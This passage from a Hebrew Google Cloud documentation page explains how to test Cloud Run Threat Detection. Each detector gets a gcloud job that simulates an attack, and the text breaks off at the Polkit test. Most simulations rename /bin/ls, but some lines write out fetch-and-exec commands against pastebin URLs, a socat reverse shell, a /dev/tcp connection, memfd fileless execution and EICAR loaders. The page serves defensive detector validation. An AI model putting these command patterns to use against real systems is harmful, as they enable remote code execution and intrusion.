בדיקה של Cloud Run Threat Detection

בדף הזה מוסבר איך לוודא שזיהוי האיומים ב-Cloud Run פועל. לשם כך, מפעילים בכוונה גלאים ובודקים אם נמצאו ממצאים. Cloud Run Threat Detection הוא שירות מובנה של Security Command Center.

לפני שמתחילים

כדי לזהות איומים פוטנציאליים על השירותים והמשימות שלכם ב-Cloud Run, צריך לוודא ששירות זיהוי האיומים ב-Cloud Run מופעל ב-Security Command Center. חלק מהגלאים מושבתים כברירת מחדל. כדי לבדוק את אמצעי הזיהוי האלה, צריך קודם להפעיל אותם.

הגדרה של משתני סביבה

כדי לבדוק את אמצעי הזיהוי, משתמשים במסוף Google Cloud וב-Cloud Shell. אפשר להגדיר משתני סביבה ב-Cloud Shell כדי להפעיל פקודות בצורה נוחה יותר. תשתמשו במשתנים האלה כדי לבדוק את כל אמצעי הזיהוי.

  1. עוברים אל Google Cloud המסוף.

    כניסה ל Google Cloud מסוף

  2. בוחרים את הפרויקט שמכיל את משימת Cloud Run שרוצים להשתמש בה לבדיקה.

  3. לוחצים על הפעלת Cloud Shell.

  4. ב-Cloud Shell, מגדירים את משתני הסביבה:

    1. מגדירים את הפרויקט והאזור שבהם ייצרו משרות לבדיקה.

      export PROJECT=PROJECT_ID
      export REGION=REGION
      

אחרי שמגדירים את משתני הסביבה, אפשר להמשיך לפעול לפי ההוראות לבדיקת אמצעי הזיהוי.

Command and Control: Steganography Tool Detected

כדי להפעיל ממצא מסוג Command and Control: Steganography Tool Detected (תצוגה מקדימה), מריצים קובץ בינארי עם יכולות מניפולציה של קבצים, באופן שמתאים לכלים של סטגנוגרפיה בתוך מאגר. בדוגמה הזו, המערכת מעתיקה את /bin/ls ומשנה את השם שלו ל-steghide.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-steganography-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/steghide; sleep 60; /tmp/steghide; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא Command and Control: Steganography Tool Detected.

גישה לפרטי כניסה: איתור Google Cloud פרטי כניסה

כדי להפעיל Credential Access: Find Google Cloud Credentials ממצא, מריצים קובץ בינארי שיכול לחפש תוכן של קובץ בתוך קונטיינר. בדוגמה הזו, הפקודה מעתיקה את /bin/ls, משנה את השם שלו ל-grep ומבצעת אותו עם ארגומנטים חשודים.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-find-creds-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/grep; sleep 60; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר Credential Access: Find Google Cloud Credentials ממצא.

גישה לפרטי כניסה: סיור במפתח GPG

כדי להפעיל ממצא Credential Access: GPG Key Reconnaissance, מריצים כלי חיפוש עם ארגומנטים חשודים.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-gpg-key-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find secring.gpg; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר Credential Access: GPG Key Reconnaissance ממצא.

גישה לפרטי כניסה: חיפוש מפתחות פרטיים או סיסמאות

כדי להפעיל ממצא Credential Access: Search Private Keys or Passwords, מריצים כלי חיפוש עם ארגומנטים חשודים.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-search-keys-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find id_rsa; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא Credential Access: Search Private Keys or Passwords.

התחמקות מהגנה: שורת פקודה של קובץ ELF בפורמט Base64

כדי להפעיל את Defense Evasion: Base64 ELF File Command Line הממצא, מריצים את base64 עם ארגומנטים של כותרת ELF מקודדים.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-base64-elf-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; base64 -d f0VMRgIB; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

תהליך הבדיקה הזה אמור ליצור שתי Defense Evasion: Base64 ELF File Command Lineמסקנות.

התחמקות מהגנה: סקריפט Python עם קידוד Base64 הופעל

כדי להפעיל ממצא של Defense Evasion: Base64 Encoded Python Script Executed, מריצים את echo עם פקודת Python מוצפנת.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-base64-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; base64 aW1wb3J0IH; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר Defense Evasion: Base64 Encoded Python Script Executed ממצא.

התחמקות מהגנה: סקריפט מעטפת בקידוד Base64 הופעל

כדי להפעיל ממצא Defense Evasion: Base64 Encoded Shell Script Executed, מריצים את הפקודה echo עם פקודת מעטפת מקודדת.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-base64-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; base64 IyEvYmluL3NoC; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר Defense Evasion: Base64 Encoded Shell Script Executed ממצא.

התחמקות מהגנה: הפעלת כלי קומפילציה של קוד במאגר

כדי להפעיל ממצא Defense Evasion: Launch Code Compiler Tool In Container (תצוגה מקדימה), מריצים כלי של קומפיילר.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-launch-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/gcc10; sleep 60; /tmp/gcc10 -o /tmp/gcc10.o; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא Defense Evasion: Launch Code Compiler Tool In Container.

ביצוע: נוסף קובץ בינארי זדוני שהופעל

כדי להפעיל את זיהוי Execution: Added Malicious Binary Executed, מוסיפים קובץ בינארי זדוני (EICAR) למאגר התגים ומריצים אותו.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-added-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; sleep 60; /tmp/test_mal_file; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

תהליך הבדיקה הזה יוצר Execution: Added Malicious Binary Executed ממצא.

ביצוע: נוספה טעינה של ספרייה זדונית

כדי להפעיל איתור של Execution: Added Malicious Library Loaded, מוסיפים ספרייה זדונית למאגר התגים וטוענים אותה. בדוגמה הזו, מתבצע עדכון של הקובץ /tmp/test_mal_lib באמצעות ספרייה זדונית מדומה, ואז הספרייה נטענת באמצעות mmap. טעינת הספרייה של קובץ קיים היא בלתי צפויה כי הקובץ לא היה ב קובץ אימג' של קונטיינר המקורית, והספרייה היא קובץ בדיקה של EICAR, שמסווג כ תוכנה זדונית על ידי מודיעין איומי סייבר.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-add-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /tmp/test_mal_lib
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
   int fd = open(argv[1], O_RDONLY);
   if (fd == -1) return 1;
   struct stat sb;
   if (fstat(fd, &sb) == -1) return 1;
   void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
   if (addr == MAP_FAILED) return 1;
   write(1, addr, sb.st_size);
   munmap(addr, sb.st_size);
   close(fd);
   return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /tmp/test_mal_lib
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא Execution: Added Malicious Library Loaded.

ביצוע: פירצה בקונטיינר

כדי להפעיל ממצא מסוג Execution: Container Escape, מריצים כלי שמדמה התנהגות של יציאה מהקונטיינר.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/botb-linux-amd64; sleep 60; /tmp/botb-linux-amd64 -autopwn; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא Execution: Container Escape.

ביצוע: ביצוע ללא קבצים ב-/memfd:

כדי להפעיל Execution: Fileless Execution in /memfd: ממצא, מריצים תהליך מ-/memfd: במערכת קבצים בזיכרון באמצעות Python.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-fileless-memfd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
PYTHON_CODE=$(cat <<EOF
import os,sys
f = open('/bin/ls','rb')
execdata = f.read()
f.close()
fd = os.memfd_create('', 0)
fname = '/proc/self/fd/{}'.format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ['/bin']
os.execve(fname, args, os.environ)
EOF
)
B64_PAYLOAD=$(echo "$PYTHON_CODE" | base64 -w 0)
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image python:latest \
      --command bash \
      --args "-c","sleep 60; echo $B64_PAYLOAD | base64 -d | python3 ; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

תהליך הבדיקה הזה יוצר Execution: Fileless Execution in /memfd: ממצא.

ביצוע: הרצת כלי לתקיפת Kubernetes

כדי להפעיל ממצא Execution: Kubernetes Attack Tool Execution, מריצים תוכנית שתואמת לכלי תקיפה ידוע.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-k8s-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/amicontained; sleep 60; /tmp/amicontained; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

תהליך הבדיקה הזה יוצר Execution: Kubernetes Attack Tool Execution ממצא.

הרצה: הרצת כלי סיור מקומי

כדי להפעיל ממצא של Execution: Local Reconnaissance Tool Execution, מריצים תוכנה שתואמת לכלי סיור.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-local-recon-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/linenum.sh; sleep 60; /tmp/linenum.sh; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא Execution: Local Reconnaissance Tool Execution.

הרצה: בוצע Python זדוני

כדי להפעיל ממצא Execution: Malicious Python Executed, מריצים סקריפט Python שמדמה התנהגות זדונית.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
PYTHON_CODE="import urllib
import base64
import os

url = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
f = os.popen(str(page))
url = 'https://pastebin.com/raw/Z'
d = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
exec(page)"

gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/python:latest \
      --task-timeout 700 \
      --command bash \
      --args "-c","sleep 601; python -c \"${PYTHON_CODE}\" ; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא Execution: Malicious Python Executed. הערה: יכול להיות שיחלפו עד 15 דקות עד שתוצאות הבדיקה יופיעו.

ביצוע: קובץ בינארי זדוני שונה הופעל

כדי להפעיל ממצא Execution: Modified Malicious Binary Executed, משנים קובץ בינארי כך שיתאים לחתימה זדונית ידועה (EICAR).

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-mod-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; sleep 60; /etc/issue; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא Execution: Modified Malicious Binary Executed.

ביצוע: ספרייה זדונית ששונתה נטענה

כדי להפעיל איתור של Execution: Modified Malicious Library Loaded, משנים קובץ קיים עם ספרייה זדונית במאגר ומטעינים אותו. בדוגמה הזו, מתבצע עדכון של הקובץ /etc/issue באמצעות ספרייה זדונית מדומה, ואז הספרייה נטענת באמצעות mmap. טעינת הספרייה של קובץ קיים היא לא צפויה כי הספרייה היא קובץ בדיקה של EICAR, שמסווג כזדוני על ידי מודיעין איומי סייבר.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-mod-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /etc/issue
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
   int fd = open(argv[1], O_RDONLY);
   if (fd == -1) return 1;
   struct stat sb;
   if (fstat(fd, &sb) == -1) return 1;
   void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
   if (addr == MAP_FAILED) return 1;
   write(1, addr, sb.st_size);
   munmap(addr, sb.st_size);
   close(fd);
   return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /etc/issue
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא Execution: Modified Malicious Library Loaded.

Execution: Netcat Remote Code Execution In Container

כדי להפעיל אירוע Execution: Netcat Remote Code Execution In Container, מריצים את netcat עם ארגומנטים חשודים.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-netcat-rce-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","cp /bin/ls /tmp/nc; sleep 60; /tmp/nc -e; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא Execution: Netcat Remote Code Execution In Container.

ביצוע: אפשר להריץ פקודות שרירותיות דרך CUPS‏ (CVE-2024-47076)

כדי להפעיל Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076) ממצא, מריצים סקריפט שמדמה את ניצול הפרצה.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-cups-cve-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c",'sleep 60; cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10' \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

תהליך הבדיקה הזה יוצר Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076) ממצא.

ביצוע: זוהה ביצוע אפשרי של פקודה מרחוק

כדי להפעיל ממצא של Execution: Possible Remote Command Execution Detected (תצוגה מקדימה), מריצים פקודה שמנסה ליצור חיבור מרחוק.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; cp /bin/ls /tmp/touch; echo \"Hello\" | /tmp/touch >& /dev/tcp/8.8.8.8/53; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא Execution: Possible Remote Command Execution Detected.

הרצה: הפעלת תוכנית עם סביבת Proxy ל-HTTP לא מורשית

כדי להפעיל את איתור Execution: Program Run with Disallowed HTTP Proxy Env, מריצים תוכנית עם משתנה סביבה של פרוקסי לא תקין.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא Execution: Program Run with Disallowed HTTP Proxy Env.

ביצוע: זוהה reverse shell של Socat

כדי להפעיל ממצא Execution: Socat Reverse Shell Detected, צריך ליצור reverse shell באמצעות כלי השירות socat.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-socat-rev-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
RAW_SOCAT="timeout 10s /usr/bin/socat TCP-LISTEN:4444,reuseaddr,fork STDOUT & sleep 5 && timeout 5s /usr/bin/socat TCP:127.0.0.1:4444 EXEC:/bin/bash,pty,stderr || true"
B64_SOCAT=$(echo -n "$RAW_SOCAT" | base64 | tr -d '\n\r ')
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; apt-get update && apt-get install socat -y && echo $B64_SOCAT | base64 -d | bash" \
      --execute-now \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

תהליך הבדיקה הזה יוצר Execution: Socat Reverse Shell Detected ממצא.

ביצוע: נטען אובייקט משותף חשוד של OpenSSL

כדי להפעיל Execution: Suspicious OpenSSL Shared Object Loadedממצא, מריצים את הפקודה openssl עם ספרייה חשודה.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-openssl-so-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

תהליך הבדיקה הזה יוצר Execution: Suspicious OpenSSL Shared Object Loaded ממצא.

העברה לא מורשית: הפעלת כלים להעתקת קבצים מרחוק בקונטיינר

כדי להפעיל Exfiltration: Launch Remote File Copy Tools In Container ממצא, מריצים כלי להעתקה מרחוק.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-remote-copy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/rsync; /tmp/rsync; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא Exfiltration: Launch Remote File Copy Tools In Container.

השפעה: זיהוי של שורות פקודה זדוניות

כדי להפעיל ממצא Impact: Detect Malicious Cmdlines (תצוגה מקדימה), מריצים שם פקודה חשוד (IPFS).

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-malicious-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/ipfs; /tmp/ipfs; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

תהליך הבדיקה הזה יוצר Impact: Detect Malicious Cmdlines ממצא.

השפעה: הסרת נתונים בכמות גדולה מהדיסק

כדי להפעיל ממצא של Impact: Remove Bulk Data From Disk, מריצים כלי כמו shred.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-remove-bulk-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/shred; /tmp/shred; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

תהליך הבדיקה הזה יוצר Impact: Remove Bulk Data From Disk ממצא.

השפעה: פעילות חשודה של כריית מטבעות קריפטוגרפיים באמצעות פרוטוקול Stratum

כדי להפעיל ממצא Impact: Suspicious cryptocurrency mining activity using the Stratum Protocol, מריצים קובץ בינארי עם ארגומנטים שדומים לאלה שמשמשים תוכנה לכריית מטבעות קריפטוגרפיים שמתקשרת באמצעות פרוטוקול Stratum.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא Impact: Suspicious cryptocurrency mining activity using the Stratum Protocol.

הופעל סקריפט זדוני

כדי להפעיל Malicious Script Executed ממצא, מריצים סקריפט שמדמה התנהגות זדונית.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; sh -c \"(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d\"; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא Malicious Script Executed.

זוהתה כתובת URL זדונית

כדי להפעיל איתור של Malicious URL Observed, מריצים קובץ בינארי ומספקים כתובת URL זדונית כארגומנט.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; apt-get update && apt-get install curl -y && curl https://testsafebrowsing.appspot.com/s/malware.html | cat; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה מפעיל ממצא Malicious URL Observed.

הסלמת הרשאות: ניצול לרעה של Sudo להסלמת הרשאות (CVE-2019-14287)

כדי להפעיל Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287) ממצא, מריצים את קובץ ההפעלה sudo עם הפרמטר -u#-1.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287) ממצא.

הסלמת הרשאות: הסלמת הרשאות פוטנציאלית ב-Sudo‏ (CVE-2021-3156)

כדי להפעיל Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156) ממצא, מריצים את קובץ ה-binary‏ sudo עם הפרמטר -s ופרמטר שמסתיים ב-``‎.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c",'sleep 60; cp /bin/ls /tmp/sudo; su $(id -un 1000) -c "/tmp/sudo -s \"123\\\\\"" ; sleep 10' \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156) ממצא.

הסלמת הרשאות: נקודת חולשה בהסלמת הרשאות מקומית ב-Polkit‏ (CVE-2021-4034)

כדי להפעיל את Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034), מריצים קובץ בינארי של pkexec עם משתנה הסביבה GCONV_PATH שמוגדר כמשתמש לא-בסיסי.

יוצרים ומריצים את משימת Cloud Run:

